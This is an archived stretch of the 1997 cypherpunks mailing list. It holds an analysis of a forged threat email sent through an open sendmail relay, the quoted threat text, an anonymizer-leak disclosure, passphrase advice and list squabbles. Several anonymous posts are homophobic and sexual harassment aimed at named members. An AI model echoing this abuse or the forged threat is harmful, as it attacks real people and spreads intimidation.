Date: Sun, 9 Feb 1997 11:29:42 -0800 (PST)
To: lindat@iquest.net
Subject: Email forgery
In-Reply-To: <199702091342.IAA16533@holy.cow.net>
Message-ID: <Pine.LNX.3.95.970209142725.564B-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

This is a very strange forgery.  It appears that the attacker used
fcaglp.fcaglp.unlp.edu.ar as a relay.  This machine is running an old version
of HP sendmail that apparently accepts any hostname the user enters after
"helo".  I tried sending myself fakemail using this site but haven't got a
response yet.  The interesting thing is that the attacker used the hostname
echotech.com and not iquest.net.  echotech.com is a real domain so the attacker
might have been dumb enough to connect from echotech.com and enter the real
origin.  Or the SMTP server might just pretend it's fooled and put the real
hostname in the received header regardless of what's entered after the helo.
I'm not familiar with HP sendmail so I don't know whether this is true or not.

On Sun, 9 Feb 1997, Bovine Remailer wrote:

> Date: Sun, 9 Feb 1997 08:42:45 -0500 (EST)
> From: Bovine Remailer <haystack@holy.cow.net>
> To: cypherpunks@toad.com
>
> NEW ATTACK ON CP LIST
>
>
> >Date: Sun, 9 Feb 1997 03:55:04 -0500
> >From: Linda Thompson <lindat@iquest.net>
> >To: robert@iquest.net
> >Cc: aen-news@aen.org
> >Subject: URGENT
> >
> >Someone is sending THREATS to the President and Senate and using *MY*
> >name
> >and account to do it.  One bounced and was sent to me.  You should be
> >able
> >to find out where it came from by the message I.D.  I think it is
> >EXTREMELY
> >important that you find out where this came from!!
> >
> >Also, earlier in the day, I got a message that I was subscribed by
> >"majordomo" to cypherpunks.  I did NOT subscribe to cypherpunks and I
> >would
> >bet that whoever did THAT also sent this message.
> >
> >Here's the threat message:
> >
> >Return-Path: <MAILER-DAEMON@fcaglp.fcaglp.unlp.edu.ar>
> >Delivered-To: lindat@iquest.net
> >Received: (qmail 29848 invoked from network); 9 Feb 1997 02:51:40 -0000
> >Received: from fcaglp.fcaglp.unlp.edu.ar (163.10.4.1)
> >  by iquest3.iquest.net with SMTP; 9 Feb 1997 02:51:40 -0000
> >Received: by fcaglp.fcaglp.unlp.edu.ar
> >	(1.38.193.4/16.2) id AI19659; Sat, 8 Feb 1997 23:49:27 -0300
> >Message-Id: <9702090249.AI19659@fcaglp.fcaglp.unlp.edu.ar>
> >Date: Sat, 8 Feb 1997 05:12:37 -0300
> >From: MAILER-DAEMON@fcaglp.fcaglp.unlp.edu.ar (Mail Delivery Subsystem)
> >Subject: Returned mail: User unknown
> >To: lindat@iquest.net
> >X-UIDL: 85c7fe8ecdc2605eb6bc80bfa71b223e
> >Status: U
> >
> >   ----- Transcript of session follows -----
> >550 xfAA16374: line 6: vice-president@whitehouse.gov... User unknown
> >
> >   ----- Unsent message follows -----
> >Received: from echotech.com by fcaglp.fcaglp.unlp.edu.ar with SMTP
> >	(1.38.193.4/16.2) id AA16374; Sat, 8 Feb 1997 05:12:37 -0300
> >Message-Id: <9702080812.AA16374@fcaglp.fcaglp.unlp.edu.ar>
> >Date: Sat, 8 Feb 1997 05:12:37 -0300
> >From: lindat@iquest.net
> >Return-Path: <lindat@iquest.net>
[recipient list deleted]
> >Reply-To: lindat@iquest.net
> >Return-Receipt-To: lindat@iquest.net
> >Comment: Authenticated sender is <lindat@iquest.net>
> >Subject: message to USSA Senate
> >
> >All files on the Senate's computers will be deleted by our
> >gang of cypherpunks dedicated to the eradication of your systems.



Mark
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w/ifDrqeQhFWXtNC64iRFJm7EEOMDJ56rNVUA8NkKJZstl8ny/7LTFeTDGxf18gL
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1imu97YBiP0EPveEdD5yIlH23rZRbCJ9RmDrZruCY2ldG1wJh3+6Jg==
=psFL
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@wazoo.com (Anonymous)
Date: Sun, 9 Feb 1997 14:06:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [RANT] WANTED: Tolerant, anonymity-friendly news admins
Message-ID: <199702092206.PAA18345@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Drunkard Virus K}arcass{OTM enjoys sucking the puss from his
syphilitic queer friends.

            ///
           (0 0)
    ____ooO_(_)_Ooo__ Dr.Drunkard Virus K}arcass{OTM






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Sun, 9 Feb 1997 12:12:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: ANON: anonymizer.com thru proxy server is bad news
Message-ID: <199702092015.PAA30654@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text



>From: jmccorm@galstar.com (Josh McCormick)
Newsgroups: comp.infosystems.www.misc,alt.anonymous,comp.infosystems.www.browsers.misc,alt.2600,ok.general
Subject: NOT ALWAYS ANONYMOUS: "www.anonymizer.com"
Date: 9 Feb 1997 19:25:46 GMT
Lines: 43
Message-ID: <5dl8bq$6h3@mercury.galstar.com>

THE CLAIM:
> Our "anonymizer" service allows you to surf the web without
> revealing any personal information.

THE PROBLEM:
> If you access The Anonymizer through a proxy server, it may add a 
> variable, such as "HTTP_FORWARDED", that The Anonymizer does not filter 
> out, revealing your true identity.

THE DATA:
> Below is a printout of the variables from an "anonymous" session done 
> through The Anonymizer when accessed through the Squid proxy server.

REMOTE_HOST=darkmatter.infonex.com
REMOTE_ADDR=206.170.114.24
HTTP_USER_AGENT=Mozilla/3.01 (via THE ANONYMIZER!)
HTTP_HOST=sol.infonex.com:8080
HTTP_FORWARDED=by http://galaxy.galstar.com:3128/ (Squid/1.0.20) for 204.251.83.41
HTTP_PRAGMA=no-cache
HTTP_PROXY_CONNECTION=Keep-Alive

THE RESULT:
> A CGI script could see that you were using The Anonymizer to hide 
> yourself, but your true IP address is revealed in the "HTTP_FORWARDED" 
> string.

THE SUMMARY:
> Beware using an anonymous browsing service if you are going through a 
> proxy server. Until they remove the information provided by proxy 
> servers, using their service isn't as anonymous as they say.

THE QUOTE:
> (from The Anonymizer home page) "Many people surf the web under the
> illusion that their actions are private and anonymous. Unfortunately, it
> isn't so." 

=====================================================================
== Josh McCormick             Galaxy Star Systems                  ==
== jmccorm@galstar.com        Providing Quality Internet Access    ==
== Systems Administrator      WWW: http://www.galstar.com/~jmccorm ==
=====================================================================

--
http://yakko.cs.wmich.edu/~frogfarm/  ...for the best in unapproved information
 "Would I had phrases that are not known, utterances that are strange, in new
 language that has not been used, free from repetition, not an utterance which
 has grown stale, which men of old have spoken."  - inscribed on Egyptian tomb 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sun, 9 Feb 1997 15:55:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: ComLaw> URGENT!!  SET UP IN PROGRESS!! (fwd)
Message-ID: <199702092355.PAA12294@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


I'm forwarding this from the commonlaw list because of the usage of the 
name, "cypherpunks."


>Date: Mon, 10 Feb 1997 00:50:48 +0100 (NFT)
>From: Slater <slater@ts.umu.se>
>To: commonlaw@teleport.com
>Subject: ComLaw> URGENT!!  SET UP IN PROGRESS!! (fwd)
>Sender: owner-commonlaw@teleport.com
>
>
>---------- Forwarded message ----------
>Date: Mon, 10 Feb 1997 00:46:40 GMT
>From: Linda Thompson <lindat@iquest.net>
>To: aen-news@aen.org
>Cc: robert@iquest.net
>Subject: URGENT!!  SET UP IN PROGRESS!!
>
>This morning near 3:00 a.m., somebody sent messages to ALL the Senate and
>House members, putting *MY* email name and address on them, and another set,
>putting *AL'S* email name and address on them, threatening to delete all the
>House and Senate files (whatever THAT means), saying:
>
>"All files on the Senate's computers will be deleted by our
>gang of cypherpunks dedicated to the eradication of your systems."
>
>[The one to the House members was the same, except the word "Senate" was
>"House."]
>
>Some of the messages had bad addresses, though, so they bounced to us, since
>whoever the real sender was had put our names as the "sender," which is how
>we found out about it.
>
>This looks like someone could be really intending to do something to the
>House/Senate computers and they are obviously trying to lay it at our feet.
>
>Is there legislation pending somewhere that somebody needed a so-called
>"terrorist threat" to get it passed ??!!
>
>I have a 1 meg file of the messages we got and the messages we sent out to
>our service provider and to the Secret Service I would appreciate if people
>would be willing to store for safe keeping.
>
>Can anyone make the file available for FTP?  We don't have an FTP site.
>
>We are definitely being set up.
>
>
>
>
>Kind regards,
>
>Linda Thompson
>
>********************  V  ***************************
>  DEATH TO THE NEW WORLD ORDER 
>***************************************************
>Dr. Linda Thompson
>Attorney at Law
>Chairman, American Justice Federation
>Internet:  lindat@iquest.net
>
>****************************************************
>       Remember Waco.
>  The Murderers are still free.
>**************************************************** 
>Have you seen this yet?
>
>    http://206.55.8.10/SkyWriter/WacoMuseum
>
>
>
>
>
Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Sun, 9 Feb 1997 13:06:02 -0800 (PST)
To: unde0275@frank.mtsu.edu>
Subject: Re: Passphrase generation
In-Reply-To: <01BC1675.656788C0@s17-pm04.tnstate.campus.mci.net>
Message-ID: <0mzXk_200YUf021bA0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Internaut <unde0275@frank.mtsu.edu> writes:
> Hi,
> I am wanting to learn how to generate a passphrase that is at least as 
> strong as the IDEA algorithm.  I have looked several other places on the 
> web for an answer to this, but they all had different things to say that 
> didn't add up (no pun intended :).

Chech out the cannonical passphrase FAQ:
http://www.stack.nl/~galactus/remailers/passphrase-faq.html

This one has some quick reminders of what to do and not to do
http://www.encryption.com/pphrase.htm

Bottom line, totally random ASCII will have lots of bits per
character, but english has about 1.2 bits per character. Misspellings
can add to that, depending on the extent of mutillation . Combining
certain words can make your passphrase weaker (such as "To be or not
to be," "This is my passphrase," etc.).

HTH,
Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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Version: 2.6.2

iQB1AwUBMv48Bskz/YzIV3P5AQGSaQMAjrTuhDUZ4THFFN9wgV8DhODJtHSGnmBM
EPmo02rXsN4gslmVpV9+k7sRTOvuZ+vCYvNQL+knaMz4QiNsz8FUleUqo3v5Nx1w
7pJjcWK1wvKe9Y6ky6PXnAECRZ73gVuj
=P1Zh
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 9 Feb 1997 18:40:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: None
Message-ID: <199702100240.SAA11256@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy `C' May's obsessive masturbation has 
lead to advanced degree of blindness and 
hairy palms.

         o-:^>___? Timothy `C' May
         `~~c--^c'






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jerry Basham" <scndsun@sprynet.com>
Date: Sun, 9 Feb 1997 17:44:03 -0800 (PST)
To: <2ndSun@bigfoot.com>
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <199702100143.RAA16707@m1.sprynet.com>
MIME-Version: 1.0
Content-Type: text/plain


Return-Path: <autoresponder@WhiteHouse.gov>
Received: from WhiteHouse.gov (whitehouse.gov [198.137.241.30])
	by falcon.inetnebr.com (8.8.5/8.8.5) with ESMTP id TAA05593
	for <scndsun@inetnebr.com>; Sun, 9 Feb 1997 19:25:39 -0600 (CST)
From: autoresponder@WhiteHouse.gov
Received: (from uucp@localhost) by WhiteHouse.gov (8.7.1/uucp-relay) id
UAA01520; Sun, 9 Feb 1997 20:24:32 -0500 (EST)
Date: Sun, 9 Feb 1997 20:24:32 -0500 (EST)
Message-Id: <199702100124.UAA01520@WhiteHouse.gov>
X-AutoReplying-To: scndsun@inetnebr.com
Subject: Re: message to USSA House of Representatives
To: scndsun@inetnebr.com
X-UIDL: f16144392bbe54c5667860b9458f5526

    Thank you for writing to President Clinton via electronic
mail.  Since June, 1993, whitehouse.gov has received over one
million messages from people across the country and around the
world.  

    Because so many of you write, the President cannot
personally review each message.  The mail is first read by White
House Correspondence staff.  Your concerns, ideas, and
suggestions are carefully recorded and communicated to the
President weekly with a representative sampling of the mail.

     We are excited about the progress of online communication as
a tool to bring government and the people closer together.  Your
continued interest and participation are very important to that
goal.

                       Sincerely,

                       Stephen K. Horn
                       Director, Presidential Email
                       The Office of Correspondence

P.S. Please read on - you may find the following information
useful.

--  This is the only electronic message you will receive from
whitehouse.gov.  No other message purporting to be from the
President or his staff with an address at whitehouse.gov is
authentic.  If you have received such a message, you have been
spoofed.

--  You will receive only one autoresponder message per day.

--  The only personal addresses at whitehouse.gov are the
following:

    President@whitehouse.gov
    Vice.President@whitehouse.gov
    First.Lady@whitehouse.gov

Please write to Mrs. Gore and other White House staff by regular
mail.  The address is:  

     The White House, Washington, D.C. 20500.

--   On October 20, 1994, President Clinton and Vice President
Gore opened a World Wide Web home page called "Welcome to the
White House:  An Interactive Citizens' Handbook" and it remains
one of the more popular spots on the Web.  The White House
home page provides, among other things,  a single point of access
to all government information available electronically on the
Internet.  "Welcome to the White House" can be accessed at:

               http://www.whitehouse.gov

--   White House documents and publications are available on the
World Wide Web (see above) and by email.  To receive instructions
on retrieving documents by email, please send a message to the
following address:

               publications@whitehouse.gov

In the body of your message, type "Send Info" (without quotes);
do not include other text (such as message headers or
signature lines (.sig files)).  The instructions will be sent to
you automatically.

****************************************************************
List of Clinton Administration Accomplishments (three documents
compose the whole):

    To:  publications@whitehouse.gov
    Message body:      send file 317571
                       send file 317573
                       send file 317575
****************************************************************

--   The White House Public Access Email FAQ (Frequently Asked
Questions) document is available at the following address.  The
FAQ, among other things, lists alternate sources of government
information, i.e., the Congressional email projects.  Send an
email message (no text necessary) to:

               faq@whitehouse.gov

(This FAQ address is an autoresponder only; any comment sent to
this address will not be acknowledged.)



----------
> From: Dale Thorn <dthorn@gte.net>
> To: Jerry Basham <2ndSun@bigfoot.com>
> Cc: cypherpunks@toad.com; freedom-knights@jetcafe.org
> Subject: Re: POST: The Frightening Dangers of Moderation
> Date: Saturday, February 08, 1997 7:48 PM
> 
> Jerry Basham wrote:
> 
> > Ok...this is the fourth junk e-mail I've received that I don't want. 
Your
> > account is in jeapordy, and my advice is for you to just stop sending
me
> > this junk.  Take me off your e-mail list, NOW.
> > If this e-mail from me, being mad at you, is what makes you happy, and
is
> > how you have fun, then you just have a personal problem and I feel
sorry
> > for you.
> > Do what you can to heal yourself...meanwhile, don't send me
anymore...your
> > isp provider is next on my e-mail list.
> 
> Jerry, my provider is GTE, and if you think you can make a dent in
> them, go ahead and butt your head against the wall.  No sweat offa
> my ass.
> 
> OTOH, if you stop bitching and groaning long enough to figure out
> who is doing the remailing etc., then you'll be miles ahead.  I'm
> not optimistic.
> 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jerry Basham" <scndsun@sprynet.com>
Date: Sun, 9 Feb 1997 17:44:04 -0800 (PST)
To: <2ndSun@bigfoot.com>
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <199702100143.RAA16717@m1.sprynet.com>
MIME-Version: 1.0
Content-Type: text/plain




----------
> From: Dale Thorn <dthorn@gte.net>
> To: Jerry Basham <2ndSun@bigfoot.com>
> Cc: cypherpunks@toad.com; freedom-knights@jetcafe.org
> Subject: Re: POST: The Frightening Dangers of Moderation
> Date: Saturday, February 08, 1997 7:48 PM
> 
> Jerry Basham wrote:
> 
> > Ok...this is the fourth junk e-mail I've received that I don't want. 
Your
> > account is in jeapordy, and my advice is for you to just stop sending
me
> > this junk.  Take me off your e-mail list, NOW.
> > If this e-mail from me, being mad at you, is what makes you happy, and
is
> > how you have fun, then you just have a personal problem and I feel
sorry
> > for you.
> > Do what you can to heal yourself...meanwhile, don't send me
anymore...your
> > isp provider is next on my e-mail list.
> 
> Jerry, my provider is GTE, and if you think you can make a dent in
> them, go ahead and butt your head against the wall.  No sweat offa
> my ass.
> 
> OTOH, if you stop bitching and groaning long enough to figure out
> who is doing the remailing etc., then you'll be miles ahead.  I'm
> not optimistic.
> 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jerry Basham" <scndsun@sprynet.com>
Date: Sun, 9 Feb 1997 17:44:09 -0800 (PST)
To: <2ndSun@bigfoot.com>
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <199702100143.RAA16749@m1.sprynet.com>
MIME-Version: 1.0
Content-Type: text/plain


You're going to have to find a way to make this junk, piss juvenile crap
stop coming into my e-mail box.  Period.

----------
> From: Dale Thorn <dthorn@gte.net>
> To: Jerry Basham <2ndSun@bigfoot.com>
> Cc: cypherpunks@toad.com; freedom-knights@jetcafe.org
> Subject: Re: POST: The Frightening Dangers of Moderation
> Date: Saturday, February 08, 1997 7:48 PM
> 
> Jerry Basham wrote:
> 
> > Ok...this is the fourth junk e-mail I've received that I don't want. 
Your
> > account is in jeapordy, and my advice is for you to just stop sending
me
> > this junk.  Take me off your e-mail list, NOW.
> > If this e-mail from me, being mad at you, is what makes you happy, and
is
> > how you have fun, then you just have a personal problem and I feel
sorry
> > for you.
> > Do what you can to heal yourself...meanwhile, don't send me
anymore...your
> > isp provider is next on my e-mail list.
> 
> Jerry, my provider is GTE, and if you think you can make a dent in
> them, go ahead and butt your head against the wall.  No sweat offa
> my ass.
> 
> OTOH, if you stop bitching and groaning long enough to figure out
> who is doing the remailing etc., then you'll be miles ahead.  I'm
> not optimistic.
> 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jerry Basham" <scndsun@sprynet.com>
Date: Sun, 9 Feb 1997 17:44:18 -0800 (PST)
To: <2ndSun@bigfoot.com>
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <199702100144.RAA16772@m1.sprynet.com>
MIME-Version: 1.0
Content-Type: text/plain




----------
> From: Dale Thorn <dthorn@gte.net>
> To: Jerry Basham <2ndSun@bigfoot.com>
> Cc: cypherpunks@toad.com; freedom-knights@jetcafe.org
> Subject: Re: POST: The Frightening Dangers of Moderation
> Date: Saturday, February 08, 1997 7:48 PM
> 
> Jerry Basham wrote:
> 
> > Ok...this is the fourth junk e-mail I've received that I don't want. 
Your
> > account is in jeapordy, and my advice is for you to just stop sending
me
> > this junk.  Take me off your e-mail list, NOW.
> > If this e-mail from me, being mad at you, is what makes you happy, and
is
> > how you have fun, then you just have a personal problem and I feel
sorry
> > for you.
> > Do what you can to heal yourself...meanwhile, don't send me
anymore...your
> > isp provider is next on my e-mail list.
> 
> Jerry, my provider is GTE, and if you think you can make a dent in
> them, go ahead and butt your head against the wall.  No sweat offa
> my ass.
> 
> OTOH, if you stop bitching and groaning long enough to figure out
> who is doing the remailing etc., then you'll be miles ahead.  I'm
> not optimistic.
> 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jerry Basham" <scndsun@sprynet.com>
Date: Sun, 9 Feb 1997 17:46:20 -0800 (PST)
To: <2ndSun@bigfoot.com>
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <199702100146.RAA17220@m1.sprynet.com>
MIME-Version: 1.0
Content-Type: text/plain


You're giong to have to find a way to get me off of your piss-ant mailing
list.

----------
> From: Dale Thorn <dthorn@gte.net>
> To: Jerry Basham <2ndSun@bigfoot.com>
> Cc: cypherpunks@toad.com; freedom-knights@jetcafe.org
> Subject: Re: POST: The Frightening Dangers of Moderation
> Date: Saturday, February 08, 1997 7:48 PM
> 
> Jerry Basham wrote:
> 
> > Ok...this is the fourth junk e-mail I've received that I don't want. 
Your
> > account is in jeapordy, and my advice is for you to just stop sending
me
> > this junk.  Take me off your e-mail list, NOW.
> > If this e-mail from me, being mad at you, is what makes you happy, and
is
> > how you have fun, then you just have a personal problem and I feel
sorry
> > for you.
> > Do what you can to heal yourself...meanwhile, don't send me
anymore...your
> > isp provider is next on my e-mail list.
> 
> Jerry, my provider is GTE, and if you think you can make a dent in
> them, go ahead and butt your head against the wall.  No sweat offa
> my ass.
> 
> OTOH, if you stop bitching and groaning long enough to figure out
> who is doing the remailing etc., then you'll be miles ahead.  I'm
> not optimistic.
> 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jerry Basham" <scndsun@sprynet.com>
Date: Sun, 9 Feb 1997 17:47:23 -0800 (PST)
To: <2ndSun@bigfoot.com>
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <199702100147.RAA17442@m1.sprynet.com>
MIME-Version: 1.0
Content-Type: text/plain


You're going to have to fine a way to get me off of your piss-ant mailing
list.

----------
> From: Dale Thorn <dthorn@gte.net>
> To: Jerry Basham <2ndSun@bigfoot.com>
> Cc: cypherpunks@toad.com; freedom-knights@jetcafe.org
> Subject: Re: POST: The Frightening Dangers of Moderation
> Date: Saturday, February 08, 1997 7:48 PM
> 
> Jerry Basham wrote:
> 
> > Ok...this is the fourth junk e-mail I've received that I don't want. 
Your
> > account is in jeapordy, and my advice is for you to just stop sending
me
> > this junk.  Take me off your e-mail list, NOW.
> > If this e-mail from me, being mad at you, is what makes you happy, and
is
> > how you have fun, then you just have a personal problem and I feel
sorry
> > for you.
> > Do what you can to heal yourself...meanwhile, don't send me
anymore...your
> > isp provider is next on my e-mail list.
> 
> Jerry, my provider is GTE, and if you think you can make a dent in
> them, go ahead and butt your head against the wall.  No sweat offa
> my ass.
> 
> OTOH, if you stop bitching and groaning long enough to figure out
> who is doing the remailing etc., then you'll be miles ahead.  I'm
> not optimistic.
> 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jerry Basham" <scndsun@sprynet.com>
Date: Sun, 9 Feb 1997 17:48:12 -0800 (PST)
To: <2ndSun@bigfoot.com>
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <199702100147.RAA17595@m1.sprynet.com>
MIME-Version: 1.0
Content-Type: text/plain




----------
> From: Dale Thorn <dthorn@gte.net>
> To: Jerry Basham <2ndSun@bigfoot.com>
> Cc: cypherpunks@toad.com; freedom-knights@jetcafe.org
> Subject: Re: POST: The Frightening Dangers of Moderation
> Date: Saturday, February 08, 1997 7:48 PM
> 
> Jerry Basham wrote:
> 
> > Ok...this is the fourth junk e-mail I've received that I don't want. 
Your
> > account is in jeapordy, and my advice is for you to just stop sending
me
> > this junk.  Take me off your e-mail list, NOW.
> > If this e-mail from me, being mad at you, is what makes you happy, and
is
> > how you have fun, then you just have a personal problem and I feel
sorry
> > for you.
> > Do what you can to heal yourself...meanwhile, don't send me
anymore...your
> > isp provider is next on my e-mail list.
> 
> Jerry, my provider is GTE, and if you think you can make a dent in
> them, go ahead and butt your head against the wall.  No sweat offa
> my ass.
> 
> OTOH, if you stop bitching and groaning long enough to figure out
> who is doing the remailing etc., then you'll be miles ahead.  I'm
> not optimistic.
> 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jerry Basham" <scndsun@sprynet.com>
Date: Sun, 9 Feb 1997 17:48:23 -0800 (PST)
To: <2ndSun@bigfoot.com>
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <199702100148.RAA17625@m1.sprynet.com>
MIME-Version: 1.0
Content-Type: text/plain




----------
> From: Dale Thorn <dthorn@gte.net>
> To: Jerry Basham <2ndSun@bigfoot.com>
> Cc: cypherpunks@toad.com; freedom-knights@jetcafe.org
> Subject: Re: POST: The Frightening Dangers of Moderation
> Date: Saturday, February 08, 1997 7:48 PM
> 
> Jerry Basham wrote:
> 
> > Ok...this is the fourth junk e-mail I've received that I don't want. 
Your
> > account is in jeapordy, and my advice is for you to just stop sending
me
> > this junk.  Take me off your e-mail list, NOW.
> > If this e-mail from me, being mad at you, is what makes you happy, and
is
> > how you have fun, then you just have a personal problem and I feel
sorry
> > for you.
> > Do what you can to heal yourself...meanwhile, don't send me
anymore...your
> > isp provider is next on my e-mail list.
> 
> Jerry, my provider is GTE, and if you think you can make a dent in
> them, go ahead and butt your head against the wall.  No sweat offa
> my ass.
> 
> OTOH, if you stop bitching and groaning long enough to figure out
> who is doing the remailing etc., then you'll be miles ahead.  I'm
> not optimistic.
> 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jerry Basham" <scndsun@sprynet.com>
Date: Sun, 9 Feb 1997 17:48:34 -0800 (PST)
To: <2ndSun@bigfoot.com>
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <199702100148.RAA17712@m1.sprynet.com>
MIME-Version: 1.0
Content-Type: text/plain




----------
> From: Dale Thorn <dthorn@gte.net>
> To: Jerry Basham <2ndSun@bigfoot.com>
> Cc: cypherpunks@toad.com; freedom-knights@jetcafe.org
> Subject: Re: POST: The Frightening Dangers of Moderation
> Date: Saturday, February 08, 1997 7:48 PM
> 
> Jerry Basham wrote:
> 
> > Ok...this is the fourth junk e-mail I've received that I don't want. 
Your
> > account is in jeapordy, and my advice is for you to just stop sending
me
> > this junk.  Take me off your e-mail list, NOW.
> > If this e-mail from me, being mad at you, is what makes you happy, and
is
> > how you have fun, then you just have a personal problem and I feel
sorry
> > for you.
> > Do what you can to heal yourself...meanwhile, don't send me
anymore...your
> > isp provider is next on my e-mail list.
> 
> Jerry, my provider is GTE, and if you think you can make a dent in
> them, go ahead and butt your head against the wall.  No sweat offa
> my ass.
> 
> OTOH, if you stop bitching and groaning long enough to figure out
> who is doing the remailing etc., then you'll be miles ahead.  I'm
> not optimistic.
> 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 9 Feb 1997 20:06:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: [CRYPTO RELEVANT] Hardening mailing lists against spam attacks
Message-ID: <199702100406.UAA27227@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Degenerate L[oad] Vomit is the living proof that anal sex causes
pregnancy.

       )_(
      [@ @] Degenerate L[oad] Vomit
      |/ \|
       \O/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Sun, 9 Feb 1997 20:10:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My messages not appearing on either of the lists?
Message-ID: <199702100410.UAA17163@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:36 AM 2/7/97 -0800, Mike Duvos wrote:
...
>Now that a few weeks have passed, I have decided that moderation delays
>are the most annoying feature of the new experiment.  I am subscribed to 
>the unedited list under another account, and its almost instantaneous
>traffic is in great contrast to the time required for posts to trickle
>through the Sandfort-Bot. 
...
>Messages apparently do not get moderated in the order in which they 
>are received.  Some messages take a very long time, as other later
>messages pass them by and are posted to the list.  Again, I have no
>explanation for this unusual behavior.

Actually, I noticed that often times the posts were out of order when they
got to me over about two months ago.  This was probably due to my location
on the mailing list heirachy, (another reason for a distributed list).  I
also remember there being a rather lengthy delay between my posting
something to the list and it getting sent to me by toad.  (I stayed at the
computer reading other messages, erasing them and checking if any more had
been sent.  This was, is, my primary way of keeping my eudora disk from
getting clogged to the point where it won't compress.)
The problems that you describe aren't new to the list, mostly they are the
product of a long list of subscribers.  Although, manual moderation
certainly adds time between posting and turnaround.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Sun, 9 Feb 1997 18:22:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Feb. 15 Meeting (fwd)
Message-ID: <199702100227.UAA04517@einstein>
MIME-Version: 1.0
Content-Type: text


Forwarded message:
>From owner-austin-cpunks@ssz.com Sun Feb  9 20:24:11 1997
From: Jim Choate <ravage@einstein.ssz.com>
Message-Id: <199702100223.UAA04426@einstein>
Subject: Feb. 15 Meeting
To: austin-cpunks@einstein.ssz.com (Austin Cypherpunks)
Date: Sun, 9 Feb 1997 20:23:43 -0600 (CST)
X-Mailer: ELM [version 2.4 PL23]
Content-Type: text
Content-Length: 865       
Sender: owner-austin-cpunks@einstein.ssz.com
Precedence: bulk
Reply-To: austin-cpunks@einstein.ssz.com


Hi,

Just a reminder that next Saturday, Feb. 15, 1997, is the next date set for
a Austin Cypherpunks meeting. It is to be held at the Central Market HEB
restaurant starting at 6pm. Look for the table with the 2nd. ed. (red cover)
Applied Cryptography.

The meeting is open to the public so remember to tell folks about it.

On another issue, I and another Austin Cypherpunk have decided to start a
distributed cypherpunks list. It would consist of some number of majordomo
remailers, possibly with anonymous extensions, running customer scripts to
allow membership on the mailing list to be distributed and hence
(hopefuly) uncencorable. This will eventualy involve the re-birth of the
anonymous remailer (kourier.ssz.com) project.


                                                   Jim Choate
                                                   ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 9 Feb 1997 18:41:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: POST: The Frightening Dangers of Moderation
In-Reply-To: <199702100143.RAA16749@m1.sprynet.com>
Message-ID: <LT1V2D4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Jerry Basham" <scndsun@sprynet.com> writes:

> You're going to have to find a way to make this junk, piss juvenile crap
> stop coming into my e-mail box.  Period.

I don't think this guy is for real... No one's that stupid.
Must be another Gilmore tentacle.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 9 Feb 1997 21:31:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Black English
Message-ID: <199702100531.VAA10184@mailmasher.com>
MIME-Version: 1.0
